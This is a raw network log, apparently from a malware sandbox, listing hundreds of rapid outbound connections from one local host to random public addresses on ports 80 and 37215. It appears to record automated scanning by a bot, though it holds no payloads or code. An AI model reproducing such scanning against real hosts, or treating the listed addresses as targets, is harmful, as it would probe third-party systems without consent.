Jan 30, 2025 10:43:04.145289898 CET	60295	37215	192.168.2.14	197.225.119.75
Jan 30, 2025 10:43:04.145296097 CET	60295	37215	192.168.2.14	41.19.191.117
Jan 30, 2025 10:43:04.145299911 CET	60295	37215	192.168.2.14	156.31.123.237
Jan 30, 2025 10:43:04.145312071 CET	60295	37215	192.168.2.14	197.172.182.6
Jan 30, 2025 10:43:04.145312071 CET	60295	37215	192.168.2.14	197.79.4.56
Jan 30, 2025 10:43:04.145313978 CET	60295	37215	192.168.2.14	156.143.231.247
Jan 30, 2025 10:43:04.145315886 CET	60295	37215	192.168.2.14	41.90.226.184
Jan 30, 2025 10:43:04.145328999 CET	60295	37215	192.168.2.14	156.195.132.99
Jan 30, 2025 10:43:04.145329952 CET	60295	37215	192.168.2.14	156.46.25.98
Jan 30, 2025 10:43:04.145335913 CET	60295	37215	192.168.2.14	41.10.165.34
Jan 30, 2025 10:43:04.145344973 CET	60295	37215	192.168.2.14	156.213.107.193
Jan 30, 2025 10:43:04.145354986 CET	60295	37215	192.168.2.14	156.80.221.201
Jan 30, 2025 10:43:04.145360947 CET	60295	37215	192.168.2.14	197.95.245.120
Jan 30, 2025 10:43:04.145364046 CET	60295	37215	192.168.2.14	41.22.132.141
Jan 30, 2025 10:43:04.145382881 CET	60295	37215	192.168.2.14	197.241.31.1
Jan 30, 2025 10:43:04.145382881 CET	60295	37215	192.168.2.14	156.54.86.4
Jan 30, 2025 10:43:04.145385027 CET	60295	37215	192.168.2.14	156.82.15.117
Jan 30, 2025 10:43:04.145384073 CET	60295	37215	192.168.2.14	197.8.246.254
Jan 30, 2025 10:43:04.145384073 CET	60295	37215	192.168.2.14	41.85.85.134
Jan 30, 2025 10:43:04.145399094 CET	60295	37215	192.168.2.14	156.92.202.97
Jan 30, 2025 10:43:04.145401955 CET	60295	37215	192.168.2.14	41.219.197.124
Jan 30, 2025 10:43:04.145406008 CET	60295	37215	192.168.2.14	41.84.152.241
Jan 30, 2025 10:43:04.145411968 CET	60295	37215	192.168.2.14	197.134.58.69
Jan 30, 2025 10:43:04.145418882 CET	60295	37215	192.168.2.14	41.246.107.179
Jan 30, 2025 10:43:04.145426035 CET	60295	37215	192.168.2.14	41.71.236.68
Jan 30, 2025 10:43:04.145432949 CET	60295	37215	192.168.2.14	41.200.105.180
Jan 30, 2025 10:43:04.145435095 CET	60295	37215	192.168.2.14	197.48.194.126
Jan 30, 2025 10:43:04.145452976 CET	60295	37215	192.168.2.14	41.102.138.167
Jan 30, 2025 10:43:04.145452976 CET	60295	37215	192.168.2.14	41.181.170.98
Jan 30, 2025 10:43:04.145456076 CET	60295	37215	192.168.2.14	197.111.93.227
Jan 30, 2025 10:43:04.145458937 CET	60295	37215	192.168.2.14	41.227.41.63
Jan 30, 2025 10:43:04.145462036 CET	60295	37215	192.168.2.14	41.59.222.74
Jan 30, 2025 10:43:04.145463943 CET	60295	37215	192.168.2.14	197.183.46.181
Jan 30, 2025 10:43:04.145463943 CET	60295	37215	192.168.2.14	156.169.61.203
Jan 30, 2025 10:43:04.145464897 CET	60295	37215	192.168.2.14	156.136.212.198
Jan 30, 2025 10:43:04.145464897 CET	60295	37215	192.168.2.14	41.125.243.121
Jan 30, 2025 10:43:04.145464897 CET	60295	37215	192.168.2.14	156.242.12.27
Jan 30, 2025 10:43:04.145473957 CET	60295	37215	192.168.2.14	156.104.33.65
Jan 30, 2025 10:43:04.145476103 CET	60295	37215	192.168.2.14	197.24.123.64
Jan 30, 2025 10:43:04.145488024 CET	60295	37215	192.168.2.14	197.35.208.46
Jan 30, 2025 10:43:04.145494938 CET	60295	37215	192.168.2.14	197.7.107.116
Jan 30, 2025 10:43:04.145494938 CET	60295	37215	192.168.2.14	156.192.4.100
Jan 30, 2025 10:43:04.145495892 CET	60295	37215	192.168.2.14	41.98.146.122
Jan 30, 2025 10:43:04.145503044 CET	60295	37215	192.168.2.14	197.180.47.143
Jan 30, 2025 10:43:04.145520926 CET	60295	37215	192.168.2.14	156.207.239.103
Jan 30, 2025 10:43:04.145525932 CET	60295	37215	192.168.2.14	156.26.132.21
Jan 30, 2025 10:43:04.145525932 CET	60295	37215	192.168.2.14	197.117.177.53
Jan 30, 2025 10:43:04.145528078 CET	60295	37215	192.168.2.14	156.126.173.24
Jan 30, 2025 10:43:04.145538092 CET	60295	37215	192.168.2.14	156.43.98.69
Jan 30, 2025 10:43:04.145538092 CET	60295	37215	192.168.2.14	156.125.33.74
Jan 30, 2025 10:43:04.145539045 CET	60295	37215	192.168.2.14	41.110.27.226
Jan 30, 2025 10:43:04.145546913 CET	60295	37215	192.168.2.14	197.128.149.214
Jan 30, 2025 10:43:04.145560980 CET	60295	37215	192.168.2.14	156.12.52.176
Jan 30, 2025 10:43:04.145561934 CET	60295	37215	192.168.2.14	197.180.49.173
Jan 30, 2025 10:43:04.145581007 CET	60295	37215	192.168.2.14	41.95.83.12
Jan 30, 2025 10:43:04.145581007 CET	60295	37215	192.168.2.14	156.191.209.120
Jan 30, 2025 10:43:04.145581961 CET	60295	37215	192.168.2.14	41.86.3.142
Jan 30, 2025 10:43:04.145584106 CET	60295	37215	192.168.2.14	156.85.11.65
Jan 30, 2025 10:43:04.145584106 CET	60295	37215	192.168.2.14	41.248.60.246
Jan 30, 2025 10:43:04.145589113 CET	60295	37215	192.168.2.14	156.221.210.110
Jan 30, 2025 10:43:04.145591021 CET	60295	37215	192.168.2.14	197.109.20.228
Jan 30, 2025 10:43:04.145591021 CET	60295	37215	192.168.2.14	197.0.16.57
Jan 30, 2025 10:43:04.145591974 CET	60295	37215	192.168.2.14	197.163.61.197
Jan 30, 2025 10:43:04.145591974 CET	60295	37215	192.168.2.14	197.154.121.110
Jan 30, 2025 10:43:04.145596027 CET	60295	37215	192.168.2.14	41.64.12.13
Jan 30, 2025 10:43:04.145602942 CET	60295	37215	192.168.2.14	197.184.64.121
Jan 30, 2025 10:43:04.145605087 CET	60295	37215	192.168.2.14	156.20.25.19
Jan 30, 2025 10:43:04.145618916 CET	60295	37215	192.168.2.14	197.160.70.111
Jan 30, 2025 10:43:04.145622015 CET	60295	37215	192.168.2.14	41.192.183.184
Jan 30, 2025 10:43:04.145636082 CET	60295	37215	192.168.2.14	41.232.196.241
Jan 30, 2025 10:43:04.145637035 CET	60295	37215	192.168.2.14	41.222.198.119
Jan 30, 2025 10:43:04.145642996 CET	60295	37215	192.168.2.14	41.208.94.51
Jan 30, 2025 10:43:04.145643950 CET	60295	37215	192.168.2.14	197.88.11.172
Jan 30, 2025 10:43:04.145659924 CET	60295	37215	192.168.2.14	197.234.141.166
Jan 30, 2025 10:43:04.145663023 CET	60295	37215	192.168.2.14	41.23.32.249
Jan 30, 2025 10:43:04.145663977 CET	60295	37215	192.168.2.14	41.209.108.139
Jan 30, 2025 10:43:04.145664930 CET	60295	37215	192.168.2.14	197.7.129.170
Jan 30, 2025 10:43:04.145669937 CET	60295	37215	192.168.2.14	156.82.223.104
Jan 30, 2025 10:43:04.145682096 CET	60295	37215	192.168.2.14	156.119.223.244
Jan 30, 2025 10:43:04.145685911 CET	60295	37215	192.168.2.14	156.36.192.229
Jan 30, 2025 10:43:04.145694971 CET	60295	37215	192.168.2.14	197.6.30.228
Jan 30, 2025 10:43:04.145694971 CET	60295	37215	192.168.2.14	156.158.76.96
Jan 30, 2025 10:43:04.145865917 CET	51474	37215	192.168.2.14	41.51.110.42
Jan 30, 2025 10:43:04.145883083 CET	51474	37215	192.168.2.14	41.51.110.42
Jan 30, 2025 10:43:04.146011114 CET	62855	80	192.168.2.14	38.116.171.92
Jan 30, 2025 10:43:04.146011114 CET	62855	80	192.168.2.14	75.88.150.32
Jan 30, 2025 10:43:04.146014929 CET	62855	80	192.168.2.14	92.82.52.0
Jan 30, 2025 10:43:04.146023035 CET	62855	80	192.168.2.14	171.240.204.49
Jan 30, 2025 10:43:04.146025896 CET	62855	80	192.168.2.14	170.3.202.93
Jan 30, 2025 10:43:04.146038055 CET	62855	80	192.168.2.14	110.174.21.9
Jan 30, 2025 10:43:04.146048069 CET	62855	80	192.168.2.14	42.80.203.139
Jan 30, 2025 10:43:04.146049976 CET	62855	80	192.168.2.14	150.227.42.34
Jan 30, 2025 10:43:04.146059036 CET	62855	80	192.168.2.14	197.140.184.74
Jan 30, 2025 10:43:04.146061897 CET	62855	80	192.168.2.14	108.117.83.65
Jan 30, 2025 10:43:04.146117926 CET	62855	80	192.168.2.14	89.228.114.68
Jan 30, 2025 10:43:04.146130085 CET	62855	80	192.168.2.14	138.147.93.73
Jan 30, 2025 10:43:04.146131039 CET	62855	80	192.168.2.14	140.33.71.132
Jan 30, 2025 10:43:04.146132946 CET	62855	80	192.168.2.14	82.198.235.72
Jan 30, 2025 10:43:04.146148920 CET	62855	80	192.168.2.14	61.183.10.5
Jan 30, 2025 10:43:04.146148920 CET	62855	80	192.168.2.14	96.225.20.128
Jan 30, 2025 10:43:04.146156073 CET	62855	80	192.168.2.14	156.170.154.8
Jan 30, 2025 10:43:04.146167994 CET	62855	80	192.168.2.14	200.100.84.98
Jan 30, 2025 10:43:04.146168947 CET	62855	80	192.168.2.14	76.211.87.130
Jan 30, 2025 10:43:04.146174908 CET	62855	80	192.168.2.14	1.32.129.140
Jan 30, 2025 10:43:04.146179914 CET	62855	80	192.168.2.14	183.31.210.215
Jan 30, 2025 10:43:04.146179914 CET	62855	80	192.168.2.14	121.17.133.83
Jan 30, 2025 10:43:04.146182060 CET	62855	80	192.168.2.14	2.105.17.240
Jan 30, 2025 10:43:04.146183968 CET	62855	80	192.168.2.14	157.45.169.31
Jan 30, 2025 10:43:04.146200895 CET	62855	80	192.168.2.14	141.123.202.117
Jan 30, 2025 10:43:04.146208048 CET	62855	80	192.168.2.14	88.182.106.33
Jan 30, 2025 10:43:04.146212101 CET	62855	80	192.168.2.14	37.0.121.244
Jan 30, 2025 10:43:04.146224976 CET	62855	80	192.168.2.14	139.155.97.57
Jan 30, 2025 10:43:04.146225929 CET	62855	80	192.168.2.14	211.249.125.160
Jan 30, 2025 10:43:04.146238089 CET	62855	80	192.168.2.14	123.69.4.15
Jan 30, 2025 10:43:04.146238089 CET	62855	80	192.168.2.14	161.214.71.194
Jan 30, 2025 10:43:04.146238089 CET	62855	80	192.168.2.14	61.64.73.166
Jan 30, 2025 10:43:04.146248102 CET	62855	80	192.168.2.14	62.27.136.244
Jan 30, 2025 10:43:04.146254063 CET	62855	80	192.168.2.14	49.13.2.7
Jan 30, 2025 10:43:04.146255970 CET	62855	80	192.168.2.14	101.65.118.63
Jan 30, 2025 10:43:04.146260977 CET	62855	80	192.168.2.14	137.133.29.158
Jan 30, 2025 10:43:04.146296978 CET	51542	37215	192.168.2.14	41.51.110.42
Jan 30, 2025 10:43:04.146317005 CET	62855	80	192.168.2.14	8.240.4.7
Jan 30, 2025 10:43:04.146318913 CET	62855	80	192.168.2.14	120.58.7.218
Jan 30, 2025 10:43:04.146318913 CET	62855	80	192.168.2.14	168.45.32.116
Jan 30, 2025 10:43:04.146320105 CET	62855	80	192.168.2.14	94.64.22.204
Jan 30, 2025 10:43:04.146322966 CET	62855	80	192.168.2.14	142.143.167.232
Jan 30, 2025 10:43:04.146339893 CET	62855	80	192.168.2.14	34.111.146.212
Jan 30, 2025 10:43:04.146339893 CET	62855	80	192.168.2.14	152.56.85.212
Jan 30, 2025 10:43:04.146341085 CET	62855	80	192.168.2.14	129.42.180.253
Jan 30, 2025 10:43:04.146346092 CET	62855	80	192.168.2.14	177.14.249.43
Jan 30, 2025 10:43:04.146346092 CET	62855	80	192.168.2.14	110.106.166.8
Jan 30, 2025 10:43:04.146347046 CET	62855	80	192.168.2.14	36.98.41.178
Jan 30, 2025 10:43:04.146347046 CET	62855	80	192.168.2.14	171.0.192.53
Jan 30, 2025 10:43:04.146351099 CET	62855	80	192.168.2.14	144.43.194.178
Jan 30, 2025 10:43:04.146358967 CET	62855	80	192.168.2.14	208.74.81.3
Jan 30, 2025 10:43:04.146384954 CET	62855	80	192.168.2.14	219.50.165.152
Jan 30, 2025 10:43:04.146394968 CET	62855	80	192.168.2.14	197.119.100.212
Jan 30, 2025 10:43:04.146400928 CET	62855	80	192.168.2.14	147.181.129.158
Jan 30, 2025 10:43:04.146404982 CET	62855	80	192.168.2.14	199.241.197.97
Jan 30, 2025 10:43:04.146414042 CET	62855	80	192.168.2.14	132.229.10.93
Jan 30, 2025 10:43:04.146414042 CET	62855	80	192.168.2.14	205.199.6.198
Jan 30, 2025 10:43:04.146436930 CET	62855	80	192.168.2.14	207.17.106.114
Jan 30, 2025 10:43:04.146437883 CET	62855	80	192.168.2.14	140.65.82.102
Jan 30, 2025 10:43:04.146437883 CET	62855	80	192.168.2.14	57.168.227.92
Jan 30, 2025 10:43:04.146442890 CET	62855	80	192.168.2.14	98.153.231.133
Jan 30, 2025 10:43:04.146442890 CET	62855	80	192.168.2.14	199.212.145.150
Jan 30, 2025 10:43:04.146442890 CET	62855	80	192.168.2.14	167.91.135.62
Jan 30, 2025 10:43:04.146445990 CET	62855	80	192.168.2.14	78.213.234.232
Jan 30, 2025 10:43:04.146445990 CET	62855	80	192.168.2.14	145.129.245.45
Jan 30, 2025 10:43:04.146467924 CET	62855	80	192.168.2.14	8.23.62.187
Jan 30, 2025 10:43:04.146480083 CET	62855	80	192.168.2.14	87.175.184.200
Jan 30, 2025 10:43:04.146486044 CET	62855	80	192.168.2.14	46.44.137.103
Jan 30, 2025 10:43:04.146486044 CET	62855	80	192.168.2.14	162.119.196.66
Jan 30, 2025 10:43:04.146487951 CET	62855	80	192.168.2.14	104.113.138.103
Jan 30, 2025 10:43:04.146501064 CET	62855	80	192.168.2.14	219.232.184.49
Jan 30, 2025 10:43:04.146501064 CET	62855	80	192.168.2.14	65.199.170.42
Jan 30, 2025 10:43:04.146502972 CET	62855	80	192.168.2.14	189.8.133.183
Jan 30, 2025 10:43:04.146516085 CET	62855	80	192.168.2.14	60.57.129.22
Jan 30, 2025 10:43:04.146517038 CET	62855	80	192.168.2.14	14.35.24.0
Jan 30, 2025 10:43:04.146521091 CET	62855	80	192.168.2.14	167.161.60.167
Jan 30, 2025 10:43:04.146552086 CET	62855	80	192.168.2.14	176.123.26.156
Jan 30, 2025 10:43:04.146559000 CET	62855	80	192.168.2.14	113.118.116.188
Jan 30, 2025 10:43:04.146567106 CET	62855	80	192.168.2.14	190.163.71.99
Jan 30, 2025 10:43:04.146576881 CET	62855	80	192.168.2.14	84.104.230.248
Jan 30, 2025 10:43:04.146581888 CET	62855	80	192.168.2.14	203.185.23.132
Jan 30, 2025 10:43:04.146584988 CET	62855	80	192.168.2.14	50.157.240.179
Jan 30, 2025 10:43:04.146600962 CET	62855	80	192.168.2.14	54.138.113.143
Jan 30, 2025 10:43:04.146604061 CET	62855	80	192.168.2.14	95.242.178.63
Jan 30, 2025 10:43:04.146614075 CET	62855	80	192.168.2.14	138.31.61.243
Jan 30, 2025 10:43:04.146646976 CET	44396	37215	192.168.2.14	41.40.143.60
Jan 30, 2025 10:43:04.146646976 CET	44396	37215	192.168.2.14	41.40.143.60
Jan 30, 2025 10:43:04.146677017 CET	62855	80	192.168.2.14	177.151.160.218
Jan 30, 2025 10:43:04.146677971 CET	62855	80	192.168.2.14	217.231.234.220
Jan 30, 2025 10:43:04.146677971 CET	62855	80	192.168.2.14	34.214.144.19
Jan 30, 2025 10:43:04.146678925 CET	62855	80	192.168.2.14	157.55.232.2
Jan 30, 2025 10:43:04.146691084 CET	62855	80	192.168.2.14	58.81.130.213
Jan 30, 2025 10:43:04.146692038 CET	62855	80	192.168.2.14	51.80.96.42
Jan 30, 2025 10:43:04.146697998 CET	62855	80	192.168.2.14	173.55.204.108
Jan 30, 2025 10:43:04.146711111 CET	62855	80	192.168.2.14	219.99.111.207
Jan 30, 2025 10:43:04.146716118 CET	62855	80	192.168.2.14	194.85.204.174
Jan 30, 2025 10:43:04.146720886 CET	62855	80	192.168.2.14	119.83.49.188
Jan 30, 2025 10:43:04.146729946 CET	62855	80	192.168.2.14	35.11.237.252
Jan 30, 2025 10:43:04.146739006 CET	62855	80	192.168.2.14	168.135.194.119
Jan 30, 2025 10:43:04.146759033 CET	62855	80	192.168.2.14	123.175.122.163
Jan 30, 2025 10:43:04.146770000 CET	62855	80	192.168.2.14	179.143.125.116
Jan 30, 2025 10:43:04.146775007 CET	62855	80	192.168.2.14	189.88.105.240
Jan 30, 2025 10:43:04.146780968 CET	62855	80	192.168.2.14	198.177.163.114
Jan 30, 2025 10:43:04.146792889 CET	62855	80	192.168.2.14	218.112.169.45
Jan 30, 2025 10:43:04.146799088 CET	62855	80	192.168.2.14	152.212.235.50
Jan 30, 2025 10:43:04.146800041 CET	62855	80	192.168.2.14	116.222.218.241
Jan 30, 2025 10:43:04.146800041 CET	62855	80	192.168.2.14	183.134.250.136
Jan 30, 2025 10:43:04.146800041 CET	62855	80	192.168.2.14	106.113.210.177
Jan 30, 2025 10:43:04.146802902 CET	62855	80	192.168.2.14	125.173.100.24
Jan 30, 2025 10:43:04.146806002 CET	62855	80	192.168.2.14	169.19.218.137
Jan 30, 2025 10:43:04.146821976 CET	62855	80	192.168.2.14	91.2.242.155
Jan 30, 2025 10:43:04.146836042 CET	62855	80	192.168.2.14	194.176.66.0
Jan 30, 2025 10:43:04.146848917 CET	62855	80	192.168.2.14	94.227.208.169
Jan 30, 2025 10:43:04.146851063 CET	62855	80	192.168.2.14	162.18.172.156
Jan 30, 2025 10:43:04.146862030 CET	62855	80	192.168.2.14	195.218.67.172
Jan 30, 2025 10:43:04.146863937 CET	62855	80	192.168.2.14	18.239.6.138
Jan 30, 2025 10:43:04.146873951 CET	62855	80	192.168.2.14	194.80.103.234
Jan 30, 2025 10:43:04.146878004 CET	62855	80	192.168.2.14	131.164.156.104
Jan 30, 2025 10:43:04.146878004 CET	62855	80	192.168.2.14	70.176.9.59
Jan 30, 2025 10:43:04.146897078 CET	62855	80	192.168.2.14	97.2.120.144
Jan 30, 2025 10:43:04.146900892 CET	62855	80	192.168.2.14	42.102.184.54
Jan 30, 2025 10:43:04.146908998 CET	62855	80	192.168.2.14	169.214.148.19
Jan 30, 2025 10:43:04.146928072 CET	44424	37215	192.168.2.14	41.40.143.60
Jan 30, 2025 10:43:04.146943092 CET	62855	80	192.168.2.14	116.75.233.141
Jan 30, 2025 10:43:04.146945953 CET	62855	80	192.168.2.14	98.187.152.141
Jan 30, 2025 10:43:04.146946907 CET	62855	80	192.168.2.14	62.166.17.6
Jan 30, 2025 10:43:04.146953106 CET	62855	80	192.168.2.14	121.226.49.145
Jan 30, 2025 10:43:04.146959066 CET	62855	80	192.168.2.14	107.112.61.35
Jan 30, 2025 10:43:04.146961927 CET	62855	80	192.168.2.14	156.169.79.165
Jan 30, 2025 10:43:04.146977901 CET	62855	80	192.168.2.14	70.9.126.178
Jan 30, 2025 10:43:04.146977901 CET	62855	80	192.168.2.14	80.63.69.76
Jan 30, 2025 10:43:04.146986961 CET	62855	80	192.168.2.14	13.15.135.48
Jan 30, 2025 10:43:04.147056103 CET	62855	80	192.168.2.14	198.20.80.77
Jan 30, 2025 10:43:04.147057056 CET	62855	80	192.168.2.14	219.114.156.50
Jan 30, 2025 10:43:04.147058010 CET	62855	80	192.168.2.14	178.203.242.9
Jan 30, 2025 10:43:04.147061110 CET	62855	80	192.168.2.14	188.9.1.192
Jan 30, 2025 10:43:04.147062063 CET	62855	80	192.168.2.14	37.51.54.82
Jan 30, 2025 10:43:04.147062063 CET	62855	80	192.168.2.14	162.45.106.198
Jan 30, 2025 10:43:04.147064924 CET	62855	80	192.168.2.14	110.114.24.113
Jan 30, 2025 10:43:04.147068977 CET	62855	80	192.168.2.14	66.6.38.33
Jan 30, 2025 10:43:04.147072077 CET	62855	80	192.168.2.14	17.118.116.33
Jan 30, 2025 10:43:04.147073984 CET	62855	80	192.168.2.14	144.61.185.56
Jan 30, 2025 10:43:04.147075891 CET	62855	80	192.168.2.14	161.80.32.211
Jan 30, 2025 10:43:04.147078037 CET	62855	80	192.168.2.14	190.60.141.177
Jan 30, 2025 10:43:04.147078037 CET	62855	80	192.168.2.14	190.7.227.92
Jan 30, 2025 10:43:04.147080898 CET	62855	80	192.168.2.14	46.185.142.66
Jan 30, 2025 10:43:04.147095919 CET	62855	80	192.168.2.14	114.249.142.80
Jan 30, 2025 10:43:04.147095919 CET	62855	80	192.168.2.14	139.178.39.38
Jan 30, 2025 10:43:04.147098064 CET	62855	80	192.168.2.14	125.97.197.149
Jan 30, 2025 10:43:04.147099018 CET	62855	80	192.168.2.14	90.30.43.227
Jan 30, 2025 10:43:04.147099018 CET	62855	80	192.168.2.14	138.22.121.22
Jan 30, 2025 10:43:04.147099018 CET	62855	80	192.168.2.14	139.215.42.11
Jan 30, 2025 10:43:04.147099018 CET	62855	80	192.168.2.14	95.108.26.181
Jan 30, 2025 10:43:04.147099018 CET	62855	80	192.168.2.14	12.190.182.223
Jan 30, 2025 10:43:04.147114992 CET	62855	80	192.168.2.14	193.190.148.218
Jan 30, 2025 10:43:04.147114992 CET	62855	80	192.168.2.14	131.111.240.27
Jan 30, 2025 10:43:04.147125959 CET	62855	80	192.168.2.14	97.100.78.100
Jan 30, 2025 10:43:04.147130013 CET	62855	80	192.168.2.14	99.211.206.21
Jan 30, 2025 10:43:04.147161007 CET	62855	80	192.168.2.14	143.58.88.14
Jan 30, 2025 10:43:04.147165060 CET	62855	80	192.168.2.14	187.201.106.41
Jan 30, 2025 10:43:04.147166967 CET	62855	80	192.168.2.14	12.29.186.33
Jan 30, 2025 10:43:04.147176981 CET	62855	80	192.168.2.14	204.197.119.240
Jan 30, 2025 10:43:04.147181988 CET	62855	80	192.168.2.14	84.103.126.119
Jan 30, 2025 10:43:04.147183895 CET	62855	80	192.168.2.14	53.132.245.110
Jan 30, 2025 10:43:04.147186995 CET	62855	80	192.168.2.14	107.11.190.123
Jan 30, 2025 10:43:04.147191048 CET	62855	80	192.168.2.14	220.3.8.251
Jan 30, 2025 10:43:04.147209883 CET	62855	80	192.168.2.14	175.233.176.248
Jan 30, 2025 10:43:04.147228003 CET	62855	80	192.168.2.14	124.48.42.141
Jan 30, 2025 10:43:04.147247076 CET	62855	80	192.168.2.14	211.148.158.167
Jan 30, 2025 10:43:04.147247076 CET	62855	80	192.168.2.14	165.44.120.115
Jan 30, 2025 10:43:04.147247076 CET	62855	80	192.168.2.14	210.5.29.203
Jan 30, 2025 10:43:04.147257090 CET	62855	80	192.168.2.14	102.60.169.188
Jan 30, 2025 10:43:04.147264004 CET	62855	80	192.168.2.14	103.148.120.118
Jan 30, 2025 10:43:04.147265911 CET	62855	80	192.168.2.14	163.184.80.124
Jan 30, 2025 10:43:04.147286892 CET	62855	80	192.168.2.14	86.197.139.213
Jan 30, 2025 10:43:04.147286892 CET	62855	80	192.168.2.14	34.49.129.218
Jan 30, 2025 10:43:04.147289991 CET	62855	80	192.168.2.14	25.181.205.44
Jan 30, 2025 10:43:04.147326946 CET	47634	37215	192.168.2.14	41.47.143.151
Jan 30, 2025 10:43:04.147326946 CET	47634	37215	192.168.2.14	41.47.143.151
Jan 30, 2025 10:43:04.147336960 CET	62855	80	192.168.2.14	37.151.189.180
Jan 30, 2025 10:43:04.147347927 CET	62855	80	192.168.2.14	146.204.219.190
Jan 30, 2025 10:43:04.147356987 CET	62855	80	192.168.2.14	190.51.178.99
Jan 30, 2025 10:43:04.147361994 CET	62855	80	192.168.2.14	206.244.203.2
Jan 30, 2025 10:43:04.147361994 CET	62855	80	192.168.2.14	20.246.241.32
Jan 30, 2025 10:43:04.147366047 CET	62855	80	192.168.2.14	86.194.205.191
Jan 30, 2025 10:43:04.147370100 CET	62855	80	192.168.2.14	74.1.31.61
Jan 30, 2025 10:43:04.147382021 CET	62855	80	192.168.2.14	104.126.194.231
Jan 30, 2025 10:43:04.147425890 CET	62855	80	192.168.2.14	112.70.46.156
Jan 30, 2025 10:43:04.147428989 CET	62855	80	192.168.2.14	113.121.237.67
Jan 30, 2025 10:43:04.147443056 CET	62855	80	192.168.2.14	89.222.188.41
Jan 30, 2025 10:43:04.147448063 CET	62855	80	192.168.2.14	89.238.39.183
Jan 30, 2025 10:43:04.147449017 CET	62855	80	192.168.2.14	119.206.197.36
Jan 30, 2025 10:43:04.147449970 CET	62855	80	192.168.2.14	81.88.145.57
Jan 30, 2025 10:43:04.147450924 CET	62855	80	192.168.2.14	59.196.231.233
Jan 30, 2025 10:43:04.147450924 CET	62855	80	192.168.2.14	167.149.11.89
Jan 30, 2025 10:43:04.147450924 CET	62855	80	192.168.2.14	108.42.136.44
Jan 30, 2025 10:43:04.147464991 CET	62855	80	192.168.2.14	35.36.141.107
Jan 30, 2025 10:43:04.147471905 CET	62855	80	192.168.2.14	31.181.169.196
Jan 30, 2025 10:43:04.147479057 CET	62855	80	192.168.2.14	124.8.188.198
Jan 30, 2025 10:43:04.147490025 CET	62855	80	192.168.2.14	217.53.14.105
Jan 30, 2025 10:43:04.147491932 CET	62855	80	192.168.2.14	118.132.233.132
Jan 30, 2025 10:43:04.147506952 CET	62855	80	192.168.2.14	102.57.11.106
Jan 30, 2025 10:43:04.147546053 CET	62855	80	192.168.2.14	49.41.26.143
Jan 30, 2025 10:43:04.147542000 CET	62855	80	192.168.2.14	150.23.119.156
Jan 30, 2025 10:43:04.147546053 CET	62855	80	192.168.2.14	208.131.82.174
Jan 30, 2025 10:43:04.147542000 CET	62855	80	192.168.2.14	192.189.19.96
Jan 30, 2025 10:43:04.147546053 CET	62855	80	192.168.2.14	122.21.126.209
Jan 30, 2025 10:43:04.147548914 CET	62855	80	192.168.2.14	210.200.202.112
Jan 30, 2025 10:43:04.147548914 CET	62855	80	192.168.2.14	198.114.137.189
Jan 30, 2025 10:43:04.147552967 CET	62855	80	192.168.2.14	78.226.128.57
Jan 30, 2025 10:43:04.147553921 CET	62855	80	192.168.2.14	194.198.255.248
Jan 30, 2025 10:43:04.147553921 CET	62855	80	192.168.2.14	65.135.80.72
Jan 30, 2025 10:43:04.147557974 CET	62855	80	192.168.2.14	92.182.113.56
Jan 30, 2025 10:43:04.147557974 CET	62855	80	192.168.2.14	97.40.94.121
Jan 30, 2025 10:43:04.147572994 CET	62855	80	192.168.2.14	187.102.238.210
Jan 30, 2025 10:43:04.147578001 CET	62855	80	192.168.2.14	193.133.89.109
Jan 30, 2025 10:43:04.147581100 CET	62855	80	192.168.2.14	59.145.108.157
Jan 30, 2025 10:43:04.147588015 CET	62855	80	192.168.2.14	39.243.185.173
Jan 30, 2025 10:43:04.147593975 CET	62855	80	192.168.2.14	110.253.137.88
Jan 30, 2025 10:43:04.147598028 CET	62855	80	192.168.2.14	126.253.147.49
Jan 30, 2025 10:43:04.147598982 CET	62855	80	192.168.2.14	117.60.101.64
Jan 30, 2025 10:43:04.147614956 CET	62855	80	192.168.2.14	193.65.57.58
Jan 30, 2025 10:43:04.147620916 CET	62855	80	192.168.2.14	37.124.173.130
Jan 30, 2025 10:43:04.147641897 CET	47660	37215	192.168.2.14	41.47.143.151
Jan 30, 2025 10:43:04.147648096 CET	62855	80	192.168.2.14	65.139.151.147
Jan 30, 2025 10:43:04.147655010 CET	62855	80	192.168.2.14	176.84.219.142
Jan 30, 2025 10:43:04.147665024 CET	62855	80	192.168.2.14	191.122.64.69
Jan 30, 2025 10:43:04.147672892 CET	62855	80	192.168.2.14	120.141.128.132
Jan 30, 2025 10:43:04.147681952 CET	62855	80	192.168.2.14	43.175.128.56
Jan 30, 2025 10:43:04.147687912 CET	62855	80	192.168.2.14	164.179.61.195
Jan 30, 2025 10:43:04.147687912 CET	62855	80	192.168.2.14	195.230.100.91
Jan 30, 2025 10:43:04.147702932 CET	62855	80	192.168.2.14	139.44.145.149
Jan 30, 2025 10:43:04.147702932 CET	62855	80	192.168.2.14	217.14.66.203
Jan 30, 2025 10:43:04.147705078 CET	62855	80	192.168.2.14	129.172.187.147
Jan 30, 2025 10:43:04.147767067 CET	62855	80	192.168.2.14	220.253.201.55
Jan 30, 2025 10:43:04.147768021 CET	62855	80	192.168.2.14	137.230.246.5
Jan 30, 2025 10:43:04.147768974 CET	62855	80	192.168.2.14	111.153.48.150
Jan 30, 2025 10:43:04.147768974 CET	62855	80	192.168.2.14	186.121.62.215
Jan 30, 2025 10:43:04.147769928 CET	62855	80	192.168.2.14	102.40.243.161
Jan 30, 2025 10:43:04.147770882 CET	62855	80	192.168.2.14	198.22.87.65
Jan 30, 2025 10:43:04.147769928 CET	62855	80	192.168.2.14	73.24.117.106
Jan 30, 2025 10:43:04.147780895 CET	62855	80	192.168.2.14	175.242.129.88
Jan 30, 2025 10:43:04.147780895 CET	62855	80	192.168.2.14	147.161.187.36
Jan 30, 2025 10:43:04.147783995 CET	62855	80	192.168.2.14	138.87.96.21
Jan 30, 2025 10:43:04.147783995 CET	62855	80	192.168.2.14	219.15.204.80
Jan 30, 2025 10:43:04.147784948 CET	62855	80	192.168.2.14	118.115.245.192
Jan 30, 2025 10:43:04.147787094 CET	62855	80	192.168.2.14	58.59.5.144
Jan 30, 2025 10:43:04.147785902 CET	62855	80	192.168.2.14	114.235.32.217
Jan 30, 2025 10:43:04.147787094 CET	62855	80	192.168.2.14	35.213.70.90
Jan 30, 2025 10:43:04.147784948 CET	62855	80	192.168.2.14	118.178.10.64
Jan 30, 2025 10:43:04.147787094 CET	62855	80	192.168.2.14	24.76.199.25
Jan 30, 2025 10:43:04.147794008 CET	62855	80	192.168.2.14	109.217.240.100
Jan 30, 2025 10:43:04.147794008 CET	62855	80	192.168.2.14	133.83.218.58
Jan 30, 2025 10:43:04.147794008 CET	62855	80	192.168.2.14	199.222.152.109
